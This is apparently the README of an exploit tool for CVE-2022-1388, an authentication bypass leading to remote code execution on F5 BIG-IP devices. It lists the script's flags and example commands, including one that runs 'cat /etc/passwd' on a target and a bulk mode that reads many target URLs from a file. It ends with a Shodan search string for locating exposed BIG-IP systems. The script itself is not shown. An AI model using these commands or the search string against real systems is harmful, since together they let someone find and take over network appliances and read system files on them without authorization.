F5-BIG-IP exploit

CVE-2022-1388 usage: CVE-2022-1388.py [-h] [-u URL] [-c COMMAND] [-f FILE]

CVE-2022-1388 F5 BIG-IP iControl REST Auth Bypass RCE

Eg:

python3 CVE-2022-1388.py -u https://127.0.0.1

python3 CVE-2022-1388.py -u https://127.0.0.1 -c 'cat /etc/passwd'

python3 CVE-2022-1388.py -f urls.txt

Shodan dork:

http.title:"BIG-IP®-Redirect" +"Server"